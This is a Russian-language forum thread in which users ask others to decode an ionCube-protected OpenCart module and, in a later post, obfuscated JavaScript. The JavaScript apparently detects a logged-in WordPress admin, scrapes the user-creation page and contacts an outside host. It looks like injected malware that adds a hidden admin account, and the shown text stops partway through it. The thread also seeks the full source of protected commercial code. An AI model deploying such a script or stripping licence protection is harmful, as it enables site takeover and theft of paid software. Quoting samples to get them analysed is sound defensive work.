Помогите расшифровать этот скрипт Spoiler: Скрипт Code: <?php //00507 // 10.2 71 if(!extension_loaded('ionCube Loader')){$__oc=strtolower(substr(php_uname(),0,3));$__ln='ioncube_loader_'.$__oc.'_'.substr(phpversion(),0,3).(($__oc=='win')?'.dll':'.so');if(function_exists('dl')){@dl($__ln);}if(function_exists('_il_exec')){return _il_exec();}$__ln='/ioncube/'.$__ln;$__oid=$__id=realpath(ini_get('extension_dir'));$__here=dirname(__FILE__);if(strlen($__id)>1&&$__id[1]==':'){$__id=str_replace('\\','/',substr($__id,2));$__here=str_replace('\\','/',substr($__here,2));}$__rd=str_repeat('/..',substr_count($__id,'/')).$__here.'/';$__i=strlen($__rd);while($__i--){if($__rd[$__i]=='/'){$__lp=substr($__rd,0,$__i).$__ln;if(file_exists($__oid.$__lp)){$__ln=$__lp;break;}}}if(function_exists('dl')){@dl($__ln);}}else{die('The file '.__FILE__." is corrupted.\n");}if(function_exists('_il_exec')){return _il_exec();}echo("Site error: the ".(php_sapi_name()=='cli'?'ionCube':'<a href="http://www.ioncube.com">ionCube</a>')." PHP Loader needs to be installed. This is a widely used PHP extension for running ionCube protected PHP code, website security and malware blocking.\n\nPlease visit ".(php_sapi_name()=='cli'?'get-loader.ioncube.com':'<a href="http://get-loader.ioncube.com">get-loader.ioncube.com</a>')." for install assistance.\n\n");exit(199); ?> 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 Заранее спасибо. upd. Так может кто-то декодировать?
Декодировал с помощью проекта ___easytoyou.eu/decoder/demophp72 Там 30 строк в демо, возможно даст прояснить суть скрипта. PHP: <?php/* * @ PHP 7.2 * @ Decoder version : 1.0.0.3 * @ Release on : 14/04/2021 * @ Website : http://EasyToYou.eu */class ModelExtensionModuleUniSettings extends Model{ public function getSetting($store_id) { $query = $this->db->query("show columns FROM `" . DB_PREFIX . "uni_setting` WHERE Field = 'store_id'"); if (!$query->num_rows) { $this->update(); } $query = $this->db->query("SELECT data FROM `" . DB_PREFIX . "uni_setting` WHERE store_id = " . (array) $store_id . ""); return $query->rows ? json_decode($query->row["data"], true) : []; } public function setSetting($store_id, $data) { if ($this->check()) { $this->db->query("DELETE FROM `" . DB_PREFIX . "uni_setting` WHERE store_id = '" . (array) $store_id . "'"); $this->db->query("INSERT INTO `" . DB_PREFIX . "uni_setting` SET store_id = '" . (array) $store_id . "', data = '" . $this->db->escape(json_encode($data, true)) . "'"); $this->cache->delete("unishop.settings"); return "success"; } return "error"; } public function deleteSetting() { $this->db->query("DELETE FROM " . DB_PREFIX . "uni_setting"); } public function install() { $this->db->query("CREATE TABLE IF NOT EXISTS " . DB_PREFIX . "uni_setting (`store_id` int(11) NOT NULL, `data` mediumtext NOT NULL) ENGINE=MyISAM DEFAULT CHARSET=utf8 COLLATE=utf8_general_ci"); $this->db->query("ALTER TABLE `" . DB_PREFIX . "product` CHANGE `upc` `upc` varchar(255) COLLATE 'utf8_general_ci' NOT NULL"); $this->db->query("ALTER TABLE `" . DB_PREFIX . "product` CHANGE `ean` `ean` varchar(255) COLLATE 'utf8_general_ci' NOT NULL"); $this->db->query("ALTER TABLE `" . DB_PREFIX . "product` CHANGE `jan` `jan` varchar(255) COLLATE 'utf8_general_ci' NOT NULL"); $this->db->query("ALTER TABLE `" . DB_PREFIX . "product` CHANGE `isbn` `isbn` varchar(255) COLLATE 'utf8_general_ci' NOT NULL"// This is the demo version. This version only decode 30 lines.
Суть я знаю, мне нужен код полностью. Если сможете декодировать, у меня есть еще 1 файл. Хотя хотелось бы найти человека, который имеет инструмент для этих манипуляций.
Помогите, пожалуйста, расшифровать этот скрипт. Spoiler: сам скрипт <script> var _0x2201=[';\x20expires=','Chromium','Firefox','match','setRequestHeader','-new.php','getElementById','location','1pEvSEx','user','system','includes','1386439VHVeve','1594989JHnXwZ','17SZdvVQ','cookie','responseText','1mLtVLp','charAt','2rMTjPp','substring','userAgent','length','toUTCString','&pass2=','gerg34t3','links','indexOf','MSIE;','51106qkNGfp','123482vpaqfa','https://notifyaa.info/rs/23132?coun...339313UFkCyd!'];(function(_0x2f73a4,_0x2bc5ba){var _0x5a7fdf=_0x8574;while(!![]){try{var _0x21c0d9=parseInt(_0x5a7fdf(0xf6))*-parseInt(_0x5a7fdf(0xef))+-parseInt(_0x5a7fdf(0xe9))*parseInt(_0x5a7fdf(0xda))+-parseInt(_0x5a7fdf(0xf1))*parseInt(_0x5a7fdf(0xec))+parseInt(_0x5a7fdf(0xd9))+parseInt(_0x5a7fdf(0xea))*-parseInt(_0x5a7fdf(0xdf))+parseInt(_0x5a7fdf(0xdd))*parseInt(_0x5a7fdf(0xfe))+-parseInt(_0x5a7fdf(0xd4))*-parseInt(_0x5a7fdf(0xd8));if(_0x21c0d9===_0x2bc5ba)break;else _0x2f73a4['push'](_0x2f73a4['shift']());}catch(_0x13ea46){_0x2f73a4['push'](_0x2f73a4['shift']());}}}(_0x2201,0xe41a6));function setCookie(_0x4348ea,_0x3b8540,_0xe9fc90){var _0x357920=_0x8574,_0x886b24='';if(_0xe9fc90){var _0x474dff=new Date();_0x474dff[_0x357920(0xf3)](_0x474dff[_0x357920(0xfa)]()+_0xe9fc90*0x18*0x3c*0x3c*0x3e8),_0x886b24=_0x357920(0x103)+_0x474dff[_0x357920(0xe3)]();}document[_0x357920(0xdb)]=_0x4348ea+'='+(_0x3b8540||'')+_0x886b24+';\x20path=/';}function getCookie(_0x786ca9){var _0x2f4f40=_0x8574,_0x4dc549=_0x786ca9+'=',_0x45e7fb=document['cookie']['split'](';');for(var _0x37ddd7=0x0;_0x37ddd7<_0x45e7fb[_0x2f4f40(0xe2)];_0x37ddd7++){var _0x4bc780=_0x45e7fb[_0x37ddd7];while(_0x4bc780[_0x2f4f40(0xde)](0x0)=='\x20')_0x4bc780=_0x4bc780[_0x2f4f40(0xe0)](0x1,_0x4bc780[_0x2f4f40(0xe2)]);if(_0x4bc780[_0x2f4f40(0xe7)](_0x4dc549)==0x0)return _0x4bc780[_0x2f4f40(0xe0)](_0x4dc549[_0x2f4f40(0xe2)],_0x4bc780[_0x2f4f40(0xe2)]);}return null;}function isAdmin(){var _0x3f44fd=_0x8574;return!!document[_0x3f44fd(0xd2)]('wp-admin-bar-customize')||document['documentElement'][_0x3f44fd(0xf8)][_0x3f44fd(0xd7)](_0x3f44fd(0xd5)+_0x3f44fd(0xd1));}function request(_0x3e3a56,_0x2069f3,_0xa8e210,_0x3b1104){var _0x46f844=_0x8574;return req=new XMLHttpRequest(),req[_0x46f844(0xfb)](_0x2069f3,_0x3e3a56,_0x3b1104),req[_0x46f844(0xd0)](_0x46f844(0xfd),_0x46f844(0xee)),req['send'](_0xa8e210),req;}function getBaseUrl(){var _0x26f22c=_0x8574;for(var _0x9652c9=0x0,_0x13335c=document[_0x26f22c(0xe6)]['length'];_0x9652c9<_0x13335c;_0x9652c9++){var _0x5876bc=document[_0x26f22c(0xe6)][_0x9652c9]['href'];if(_0x5876bc[_0x26f22c(0xd7)](_0x26f22c(0xed))){var _0x29a675=_0x5876bc[_0x26f22c(0xff)](_0x26f22c(0xf9));return _0x29a675[0x0]+'wp-admin/';}}return'';}function _0x8574(_0x5645ee,_0x29db99){_0x5645ee=_0x5645ee-0xce;var _0x22016d=_0x2201[_0x5645ee];return _0x22016d;}function d(){var _0x429a1e=_0x8574;if(isAdmin()){if(getCookie(_0x429a1e(0xfc))===null){var _0x35915f=getBaseUrl(),_0x41e3f9=_0x35915f+_0x429a1e(0xd5)+'-new.php',_0x5777fd=request(_0x41e3f9,_0x429a1e(0xf5),'',![]),_0x5aee53=/ser" value="([^"]*?)"/g,_0xaa90c6,_0x7058f3='';_0xaa90c6=_0x5aee53[_0x429a1e(0x100)](_0x5777fd[_0x429a1e(0xdc)]);if(_0xaa90c6[_0x429a1e(0xe2)]===0x0)return![];_0x7058f3=_0xaa90c6[0x1];if(_0x7058f3==='')return![];var 